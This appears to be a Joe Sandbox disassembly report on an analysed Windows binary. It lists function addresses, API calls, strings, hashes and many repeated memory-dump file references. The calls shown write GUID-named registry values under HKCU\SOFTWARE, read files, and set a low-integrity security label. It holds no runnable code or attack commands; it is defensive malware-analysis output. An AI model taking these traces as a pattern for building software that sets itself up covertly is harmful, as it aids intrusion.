Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: __amsg_exit$_fast_error_exit$Initialize__cinit__setenvp__wincmdln
String ID:
API String ID: 1625665298-0
Opcode ID: 718944c4af0803d6649cc7bcd42ac1aec546a9265e3b53c11d47f3e2e48b5d67
Instruction ID: ee8aac8988292450bba88a6f58237c72f614d74434109889bd45716e2562a0a2
Opcode Fuzzy Hash: 718944c4af0803d6649cc7bcd42ac1aec546a9265e3b53c11d47f3e2e48b5d67
Instruction Fuzzy Hash: 7131F9F0A8932499EB207BB09C56F6F36689F86715F10411AF515EA0D3EBB9D880CB53

Function 009341E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61
registrytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 009341FF
RegCreateKeyExW.KERNELBASE(80000001,?,00000000,00000000,00000000,000F013F,00000000,00921585,00000000), ref: 00934226
RegCloseKey.ADVAPI32(00921585), ref: 00934238
_memset.LIBCMT ref: 00934246
GetSystemTime.KERNEL32(?), ref: 00934265
SystemTimeToFileTime.KERNEL32(?,?), ref: 00934276

Strings

{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 009341E9
SOFTWARE\%s, xrefs: 009341EE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 3491885642-2887747857
Opcode ID: d4a560db45fa4e211652200346771e1c1e33eacc2b665d7601e38bd24ca1446f
Instruction ID: 32ef2b8039fe0d8b296a171db04ebb5d95d1293371d27e27d5ded78e64ff7aa7
Opcode Fuzzy Hash: d4a560db45fa4e211652200346771e1c1e33eacc2b665d7601e38bd24ca1446f
Instruction Fuzzy Hash: C111A772A54209BAEB50D7B0DC4AFFB733DAB54704F000954B615E60D1FAB1A654CBA1

Function 0092FE20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
__snwprintf.LIBCMT ref: 0092FEDA
CoTaskMemFree.COMBASE(?), ref: 0092FEF5
CoTaskMemFree.COMBASE(?), ref: 0092FF04

Strings

%s\%s\, xrefs: 0092FECC

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPath__snwprintf
String ID: %s\%s\
API String ID: 1688022371-2168696002
Opcode ID: 91184e2004b9784d0395a32fb1723241a4bb12a180f08e454183ce8664239249
Instruction ID: 323f7e27c6a4cc2e4eff8a8cb18683a638409f922c94ab672c0474f71c134aff
Opcode Fuzzy Hash: 91184e2004b9784d0395a32fb1723241a4bb12a180f08e454183ce8664239249
Instruction Fuzzy Hash: 1131E9B5E102099FCB04DFA8DC85EEEBBB5FF48304F148569EA05A7345D734A941CBA4

Function 0092B4A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 0092B4BF
RegGetValueW.KERNELBASE(80000001,?,{51FF0466-A5FE-46B6-B4FA-11CD69B51486},00000008,00000000,00934257,0000000C), ref: 0092B4EB

Strings

{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 0092B4A9
{51FF0466-A5FE-46B6-B4FA-11CD69B51486}, xrefs: 0092B4DA
SOFTWARE\%s, xrefs: 0092B4AE

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Value__snwprintf
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${51FF0466-A5FE-46B6-B4FA-11CD69B51486}
API String ID: 3635966236-2115523992
Opcode ID: 9804420d3b86074ddbd661a39b3e28e24188ec3062244baf56c0faad6381e848
Instruction ID: 4589fef68797f825a28de86d6513d387228a27b5a71cf02af3a4ea4c20376a84
Opcode Fuzzy Hash: 9804420d3b86074ddbd661a39b3e28e24188ec3062244baf56c0faad6381e848
Instruction Fuzzy Hash: 4CF0EC3174820CB6E710DAA8DC87FB773ACAB44704F1045597A08DA1C0F6B5DB4557D1

Function 0093C4B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0093C4E6
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0093C500
SetNamedSecurityInfoW.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 0093C51C

Strings

S:(ML;;NW;;;LW), xrefs: 0093C4E1

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertInfoNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 2602540077-495562761
Opcode ID: dbcbef8b75e22bdb8ecd8a54c60b0afa3c6e30879e8f0eb248ffccfdb836ccc6
Instruction ID: c7ca7b3e1cee603ec7eff5bddd4a602cb5afa780578a0e21de89f2ce8c589950
Opcode Fuzzy Hash: dbcbef8b75e22bdb8ecd8a54c60b0afa3c6e30879e8f0eb248ffccfdb836ccc6
Instruction Fuzzy Hash: 95015AB1A44208ABEB10DFD4DC85FEFB7B9AB44700F104549F600BB1C0D7B5AA04CBA1

Function 0093C570 Relevance: 6.1, APIs: 4, Instructions: 69
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0093430B,?,00000000), ref: 0093C58C
LocalAlloc.KERNELBASE(00000040,000000FF,?,0093430B), ref: 0093C5B6
ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0093C5D7
CloseHandle.KERNELBASE(000000FF), ref: 0093C5ED

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalRead
String ID:
API String ID: 1443864953-0
Opcode ID: 82d868aacd5e721056d83ac2100babeb2ba06569997c63cf98b976fe888e6010
Instruction ID: 0902d083c5ade779d751e3eb8351b8e678f91f79eba785183727a09f5a3ef46d
Opcode Fuzzy Hash: 82d868aacd5e721056d83ac2100babeb2ba06569997c63cf98b976fe888e6010
Instruction Fuzzy Hash: 46214FB4A40218FBDB10EBE4C885FAEB778EB45704F209588E615B72C0D6B0BA41CF64

Function 00944619 Relevance: 4.6, APIs: 3, Instructions: 59
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FF_MSGBANNER.LIBCMT ref: 00944632

Part of subcall function 009498B5: __NMSG_WRITE.LIBCMT ref: 009498DC
Part of subcall function 009498B5: __NMSG_WRITE.LIBCMT ref: 009498E6

__NMSG_WRITE.LIBCMT ref: 00944639

Part of subcall function 00949706: _wcslen.LIBCMT ref: 009497D1
Part of subcall function 00949706: _wcslen.LIBCMT ref: 009497DE

RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00925B93,?), ref: 0094465E

Memory Dump Source

